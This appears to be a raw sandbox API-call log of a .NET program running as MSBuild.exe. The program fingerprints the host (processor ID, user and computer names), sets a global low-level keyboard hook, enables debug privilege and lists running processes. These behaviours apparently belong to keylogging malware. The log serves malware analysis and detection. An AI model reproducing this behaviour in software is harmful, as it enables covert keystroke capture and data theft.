[0043.763] IUnknown:Release (This=0x4fa5c48) returned 0x3 [0043.763] IUnknown:Release (This=0x4fa5c48) returned 0x2 [0043.763] CoGetContextToken (in: pToken=0x26dfe8 | out: pToken=0x26dfe8) returned 0x0 [0043.763] CoGetContextToken (in: pToken=0x26dfa8 | out: pToken=0x26dfa8) returned 0x0 [0043.763] IUnknown:AddRef (This=0x4fa5c48) returned 0x3 [0043.763] IUnknown:QueryInterface (in: This=0x4fa5c48, riid=0x26e024*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x26e020 | out: ppvObject=0x26e020*=0x4fa5c48) returned 0x0 [0043.763] IUnknown:Release (This=0x4fa5c48) returned 0x3 [0043.763] IUnknown:Release (This=0x4fa5c48) returned 0x2 [0043.763] IUnknown:Release (This=0x4fa5c48) returned 0x1 [0043.763] IUnknown:Release (This=0x4fa5c0c) returned 0x2 [0043.763] CoGetContextToken (in: pToken=0x26e8d8 | out: pToken=0x26e8d8) returned 0x0 [0043.764] IUnknown:AddRef (This=0x4fa5c48) returned 0x2 [0043.764] IWbemClassObject:Get (in: This=0x4fa5c48, wszName="__GENUS", lFlags=0, pVal=0x26e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26ea08*=0, plFlavor=0x26ea04*=0 | out: pVal=0x26e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x26ea08*=3, plFlavor=0x26ea04*=64) returned 0x0 [0043.764] IWbemClassObject:Get (in: This=0x4fa5c48, wszName="__PATH", lFlags=0, pVal=0x26e934*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26e9ec*=0, plFlavor=0x26e9e8*=0 | out: pVal=0x26e934*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"", varVal2=0x0), pType=0x26e9ec*=8, plFlavor=0x26e9e8*=64) returned 0x0 [0043.764] SysStringLen (param_1="\\\\XDUWTFONO\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x36 [0043.764] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x30c [0043.764] GetLastError () returned 0x0 [0043.764] SetEvent (hEvent=0x280) returned 1 [0043.764] GetLastError () returned 0x0 [0043.764] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x26e950*=0x30c, lpdwindex=0x26e708 | out: lpdwindex=0x26e708) returned 0x0 [0043.767] CoGetContextToken (in: pToken=0x26e7a0 | out: pToken=0x26e7a0) returned 0x0 [0043.767] CoGetContextToken (in: pToken=0x26e760 | out: pToken=0x26e760) returned 0x0 [0043.767] WbemDefPath:IUnknown:AddRef (This=0x4f9e1b8) returned 0x2 [0043.767] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9e1b8, riid=0x26e7dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e7d8 | out: ppvObject=0x26e7d8*=0x4f9e1b8) returned 0x0 [0043.767] WbemDefPath:IUnknown:Release (This=0x4f9e1b8) returned 0x2 [0043.767] WbemDefPath:IUnknown:Release (This=0x4f9e1b8) returned 0x1 [0043.768] CoGetContextToken (in: pToken=0x26e820 | out: pToken=0x26e820) returned 0x0 [0043.768] CoGetContextToken (in: pToken=0x26e7e0 | out: pToken=0x26e7e0) returned 0x0 [0043.768] WbemDefPath:IUnknown:AddRef (This=0x4f9e1b8) returned 0x2 [0043.768] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9e1b8, riid=0x26e85c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e858 | out: ppvObject=0x26e858*=0x4f9e1b8) returned 0x0 [0043.768] WbemDefPath:IUnknown:Release (This=0x4f9e1b8) returned 0x2 [0043.768] WbemDefPath:IWbemPath:SetText (This=0x4f9e1b8, uMode=0x4, pszPath="\\\\XDUWTFONO\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x0 [0043.768] WbemDefPath:IUnknown:Release (This=0x4f9e1b8) returned 0x1 [0043.768] CoGetContextToken (in: pToken=0x26e80c | out: pToken=0x26e80c) returned 0x0 [0043.768] CoGetContextToken (in: pToken=0x26e7cc | out: pToken=0x26e7cc) returned 0x0 [0043.768] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x3 [0043.768] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x26e848*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e844 | out: ppvObject=0x26e844*=0x4f9daa8) returned 0x0 [0043.768] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x3 [0043.768] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f9daa8, puCount=0x26e9c0 | out: puCount=0x26e9c0*=0x2) returned 0x0 [0043.768] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0043.768] CoGetContextToken (in: pToken=0x26e7fc | out: pToken=0x26e7fc) returned 0x0 [0043.768] CoGetContextToken (in: pToken=0x26e7bc | out: pToken=0x26e7bc) returned 0x0 [0043.768] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x3 [0043.769] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x26e838*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e834 | out: ppvObject=0x26e834*=0x4f9daa8) returned 0x0 [0043.769] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x3 [0043.769] WbemDefPath:IWbemPath:GetText (in: This=0x4f9daa8, lFlags=4, puBuffLength=0x26e9bc*=0x0, pszText=0x0 | out: puBuffLength=0x26e9bc*=0xf, pszText=0x0) returned 0x0 [0043.769] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0043.769] CoGetContextToken (in: pToken=0x26e7fc | out: pToken=0x26e7fc) returned 0x0 [0043.769] CoGetContextToken (in: pToken=0x26e7bc | out: pToken=0x26e7bc) returned 0x0 [0043.769] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x3 [0043.769] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x26e838*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e834 | out: ppvObject=0x26e834*=0x4f9daa8) returned 0x0 [0043.769] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x3 [0043.769] WbemDefPath:IWbemPath:GetText (in: This=0x4f9daa8, lFlags=4, puBuffLength=0x26e9bc*=0xf, pszText="00000000000000" | out: puBuffLength=0x26e9bc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0043.769] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0043.769] CoGetContextToken (in: pToken=0x26e7f4 | out: pToken=0x26e7f4) returned 0x0 [0043.769] CoGetContextToken (in: pToken=0x26e7b4 | out: pToken=0x26e7b4) returned 0x0 [0043.769] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x3 [0043.769] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x26e830*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e82c | out: ppvObject=0x26e82c*=0x4f9daa8) returned 0x0 [0043.769] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x3 [0043.770] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f9daa8, puCount=0x26e9a8 | out: puCount=0x26e9a8*=0x2) returned 0x0 [0043.770] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0043.770] CoGetContextToken (in: pToken=0x26e7e4 | out: pToken=0x26e7e4) returned 0x0 [0043.770] CoGetContextToken (in: pToken=0x26e7a4 | out: pToken=0x26e7a4) returned 0x0 [0043.770] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x3 [0043.770] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x26e820*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e81c | out: ppvObject=0x26e81c*=0x4f9daa8) returned 0x0 [0043.770] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x3 [0043.770] WbemDefPath:IWbemPath:GetText (in: This=0x4f9daa8, lFlags=4, puBuffLength=0x26e9a4*=0x0, pszText=0x0 | out: puBuffLength=0x26e9a4*=0xf, pszText=0x0) returned 0x0 [0043.770] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0043.770] CoGetContextToken (in: pToken=0x26e7e4 | out: pToken=0x26e7e4) returned 0x0 [0043.770] CoGetContextToken (in: pToken=0x26e7a4 | out: pToken=0x26e7a4) returned 0x0 [0043.770] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x3 [0043.770] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x26e820*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e81c | out: ppvObject=0x26e81c*=0x4f9daa8) returned 0x0 [0043.770] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x3 [0043.770] WbemDefPath:IWbemPath:GetText (in: This=0x4f9daa8, lFlags=4, puBuffLength=0x26e9a4*=0xf, pszText="00000000000000" | out: puBuffLength=0x26e9a4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0043.770] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0043.776] IWbemClassObject:Get (in: This=0x4fa5c48, wszName="processorID", lFlags=0, pVal=0x26e964*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2610574*=0, plFlavor=0x2610578*=0 | out: pVal=0x26e964*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF000506E3", varVal2=0x0), pType=0x2610574*=8, plFlavor=0x2610578*=0) returned 0x0 [0043.776] SysStringLen (param_1="0F8BFBFF000506E3") returned 0x10 [0043.776] IWbemClassObject:Get (in: This=0x4fa5c48, wszName="processorID", lFlags=0, pVal=0x26e968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2610574*=8, plFlavor=0x2610578*=0 | out: pVal=0x26e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF000506E3", varVal2=0x0), pType=0x2610574*=8, plFlavor=0x2610578*=0) returned 0x0 [0043.777] SysStringLen (param_1="0F8BFBFF000506E3") returned 0x10 [0043.777] CoGetContextToken (in: pToken=0x26e73c | out: pToken=0x26e73c) returned 0x0 [0043.777] IUnknown:AddRef (This=0x4fa5c0c) returned 0x3 [0043.777] IEnumWbemClassObject:Next (in: This=0x4fa5c0c, lTimeout=-1, uCount=0x1, apObjects=0x787838, puReturned=0x260fc30 | out: apObjects=0x787838*=0x0, puReturned=0x260fc30*=0x0) returned 0x1 [0043.778] IUnknown:Release (This=0x4fa5c0c) returned 0x2 [0043.779] CoGetContextToken (in: pToken=0x26e890 | out: pToken=0x26e890) returned 0x0 [0043.779] WbemLocator:IUnknown:Release (This=0x7d8f44) returned 0x1 [0043.779] IUnknown:Release (This=0x4fa5c0c) returned 0x0 [0043.822] GetUserNameW (in: lpBuffer=0x787820, pcbBuffer=0x2610e20 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2610e20) returned 1 [0043.824] GetComputerNameW (in: lpBuffer=0x787820, nSize=0x26110ac | out: lpBuffer="XDUWTFONO", nSize=0x26110ac) returned 1 [0043.851] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x26ea20 | out: phkResult=0x26ea20*=0x314) returned 0x0 [0043.852] RegQueryValueExW (in: hKey=0x314, lpValueName="ProductId", lpReserved=0x0, lpType=0x26ea64, lpData=0x0, lpcbData=0x26ea60*=0x0 | out: lpType=0x26ea64*=0x0, lpData=0x0, lpcbData=0x26ea60*=0x0) returned 0x2 [0043.888] GetModuleHandleW (lpModuleName="user32.dll") returned 0x74f40000 [0043.889] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0043.890] GetStockObject (i=5) returned 0x1900015 [0043.890] GetLastError () returned 0xcb [0043.890] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0043.894] CoTaskMemAlloc (cb=0x4c) returned 0x7be498 [0043.894] RegisterClassW (lpWndClass=0x787838) returned 0xc141 [0043.894] GetLastError () returned 0xcb [0043.894] CoTaskMemFree (pv=0x7be498) [0043.895] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0043.896] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.0.app.0.33c0d9d", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x701ba [0043.899] SetWindowLongW (hWnd=0x701ba, nIndex=-4, dwNewLong=1997940189) returned 34804946 [0043.900] GetWindowLongW (hWnd=0x701ba, nIndex=-4) returned 1997940189 [0043.901] GetCurrentProcess () returned 0xffffffff [0043.901] GetCurrentThread () returned 0xfffffffe [0043.901] GetCurrentProcess () returned 0xffffffff [0043.902] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x26e28c, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x26e28c*=0x318) returned 1 [0043.902] GetLastError () returned 0x0 [0043.903] GetCurrentThreadId () returned 0xb1c [0043.904] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x26e1f8 | out: phkResult=0x26e1f8*=0x31c) returned 0x0 [0043.904] RegQueryValueExW (in: hKey=0x31c, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x26e240, lpData=0x0, lpcbData=0x26e23c*=0x0 | out: lpType=0x26e240*=0x0, lpData=0x0, lpcbData=0x26e23c*=0x0) returned 0x2 [0043.904] RegQueryValueExW (in: hKey=0x31c, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x26e240, lpData=0x0, lpcbData=0x26e23c*=0x0 | out: lpType=0x26e240*=0x0, lpData=0x0, lpcbData=0x26e23c*=0x0) returned 0x2 [0043.904] RegCloseKey (hKey=0x31c) returned 0x0 [0043.905] SetWindowLongW (hWnd=0x701ba, nIndex=-4, dwNewLong=34804490) returned 1997940189 [0043.905] GetWindowLongW (hWnd=0x701ba, nIndex=-4) returned 34804490 [0043.905] GetWindowLongW (hWnd=0x701ba, nIndex=-16) returned 79691776 [0043.920] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x24, wParam=0x0, lParam=0x26e4d4) returned 0x0 [0043.920] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc13f [0043.921] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x81, wParam=0x0, lParam=0x26e4c8) returned 0x1 [0043.923] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x83, wParam=0x0, lParam=0x26e4b4) returned 0x0 [0044.024] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x1, wParam=0x0, lParam=0x26e4c8) returned 0x0 [0044.024] GetLastError () returned 0x0 [0044.068] SetWindowsHookExW (idHook=13, lpfn=0x213162a, hmod=0x400000, dwThreadId=0x0) returned 0x1a01bf [0044.155] GetCurrentProcessId () returned 0xb18 [0044.160] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x26ea08 | out: lpLuid=0x26ea08*(LowPart=0x14, HighPart=0)) returned 1 [0044.161] GetLastError () returned 0x0 [0044.163] GetCurrentProcess () returned 0xffffffff [0044.163] GetLastError () returned 0x0 [0044.164] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x26ea04 | out: TokenHandle=0x26ea04*=0x328) returned 1 [0044.164] GetLastError () returned 0x0 [0044.165] AdjustTokenPrivileges (in: TokenHandle=0x328, DisableAllPrivileges=0, NewState=0x2613364*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0044.165] GetLastError () returned 0x0 [0044.166] CloseHandle (hObject=0x328) returned 1 [0044.166] GetLastError () returned 0x0 [0044.173] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e6df0, Length=0x20000, ResultLength=0x26f1b4 | out: SystemInformation=0x35e6df0, ResultLength=0x26f1b4*=0x9dd0) returned 0x0 [0044.230] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x328 [0044.230] GetLastError () returned 0x0 [0044.230] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x32c [0044.230] GetLastError () returned 0x0 [0044.304] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config", nBufferLength=0x105, lpBuffer=0x26eb38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config", lpFilePart=0x0) returned 0x40 [0044.304] GetLastError () returned 0x0 [0044.304] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config", nBufferLength=0x105, lpBuffer=0x26eaec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config", lpFilePart=0x0) returned 0x40 [0044.304] GetLastError () returned 0x0 [0044.344] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", nBufferLength=0x105, lpBuffer=0x26eaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", lpFilePart=0x0) returned 0x39 [0044.344] GetLastError () returned 0x0 [0044.440] GetVersionExW (in: lpVersionInformation=0x787838*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x787838*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0044.440] GetLastError () returned 0x0 [0044.441] GetCurrentProcess () returned 0xffffffff [0044.441] GetLastError () returned 0x3f0 [0044.443] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26ec84 | out: TokenHandle=0x26ec84*=0x330) returned 1 [0044.443] GetLastError () returned 0x3f0 [0044.446] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x26e81c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0044.446] GetLastError () returned 0x0 [0044.447] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x26ecc4 | out: lpFileInformation=0x26ecc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xc2c74ba0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x60ed)) returned 1 [0044.447] GetLastError () returned 0x0 [0044.447] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x26e7dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0044.447] GetLastError () returned 0x0 [0044.448] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x26ecc0 | out: lpFileInformation=0x26ecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xc2c74ba0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x60ed)) returned 1 [0044.448] GetLastError () returned 0x0 [0044.448] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x26e728, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0044.448] GetLastError () returned 0x0 [0044.448] SetErrorMode (uMode=0x1) returned 0x0 [0044.449] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x338 [0044.450] GetLastError () returned 0x0 [0044.450] GetFileType (hFile=0x338) returned 0x1 [0044.450] GetFileType (hFile=0x338) returned 0x1 [0044.463] ReadFile (in: hFile=0x338, lpBuffer=0x262c918, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26ec4c, lpOverlapped=0x0 | out: lpBuffer=0x262c918*, lpNumberOfBytesRead=0x26ec4c*=0x1000, lpOverlapped=0x0) returned 1 [0044.464] GetLastError () returned 0x0 [0044.718] ReadFile (in: hFile=0x338, lpBuffer=0x262c918, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26e904, lpOverlapped=0x0 | out: lpBuffer=0x262c918*, lpNumberOfBytesRead=0x26e904*=0x1000, lpOverlapped=0x0) returned 1 [0044.718] GetLastError () returned 0x0 [0044.719] ReadFile (in: hFile=0x338, lpBuffer=0x262c918, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26e904, lpOverlapped=0x0 | out: lpBuffer=0x262c918*, lpNumberOfBytesRead=0x26e904*=0x1000, lpOverlapped=0x0) returned 1 [0044.719] GetLastError () returned 0x0 [0044.719] ReadFile (in: hFile=0x338, lpBuffer=0x262c918, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26e904, lpOverlapped=0x0 | out: lpBuffer=0x262c918*, lpNumberOfBytesRead=0x26e904*=0x1000, lpOverlapped=0x0) returned 1 [0044.719] GetLastError () returned 0x0 [0044.719] ReadFile (in: hFile=0x338, lpBuffer=0x262c918, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26e904, lpOverlapped=0x0 | out: lpBuffer=0x262c918*, lpNumberOfBytesRead=0x26e904*=0x1000, lpOverlapped=0x0) returned 1 [0044.719] GetLastError () returned 0x0 [0044.726] ReadFile (in: hFile=0x338, lpBuffer=0x262c918, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26ea38, lpOverlapped=0x0 | out: lpBuffer=0x262c918*, lpNumberOfBytesRead=0x26ea38*=0x1000, lpOverlapped=0x0) returned 1 [0044.726] GetLastError () returned 0x0 [0044.726] ReadFile (in: hFile=0x338, lpBuffer=0x262c918, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26e8cc, lpOverlapped=0x0 | out: lpBuffer=0x262c918*, lpNumberOfBytesRead=0x26e8cc*=0xed, lpOverlapped=0x0) returned 1 [0044.726] GetLastError () returned 0x0 [0044.726] ReadFile (in: hFile=0x338, lpBuffer=0x262c918, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26e984, lpOverlapped=0x0 | out: lpBuffer=0x262c918*, lpNumberOfBytesRead=0x26e984*=0x0, lpOverlapped=0x0) returned 1 [0044.726] GetLastError () returned 0x0 [0044.727] GetCurrentProcess () returned 0xffffffff [0044.727] GetLastError () returned 0x3f0 [0044.727] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26ef14 | out: TokenHandle=0x26ef14*=0x338) returned 1 [0044.727] GetLastError () returned 0x3f0 [0044.728] GetCurrentProcess () returned 0xffffffff [0044.728] GetLastError () returned 0x3f0 [0044.728] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26ef14 | out: TokenHandle=0x26ef14*=0x334) returned 1 [0044.728] GetLastError () returned 0x3f0 [0044.729] GetCurrentProcess () returned 0xffffffff [0044.729] GetLastError () returned 0x3f0 [0044.729] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26ec84 | out: TokenHandle=0x26ec84*=0x33c) returned 1 [0044.729] GetLastError () returned 0x3f0 [0044.729] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x26ecc4 | out: lpFileInformation=0x26ecc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb60eb98, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb60eb98, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa46808fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x22f)) returned 1 [0044.729] GetLastError () returned 0x3f0 [0044.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config", nBufferLength=0x105, lpBuffer=0x26e7dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config", lpFilePart=0x0) returned 0x40 [0044.729] GetLastError () returned 0x3f0 [0044.729] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x26ecc0 | out: lpFileInformation=0x26ecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb60eb98, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb60eb98, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa46808fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x22f)) returned 1 [0044.729] GetLastError () returned 0x3f0 [0044.729] GetFullPathNameW (in: 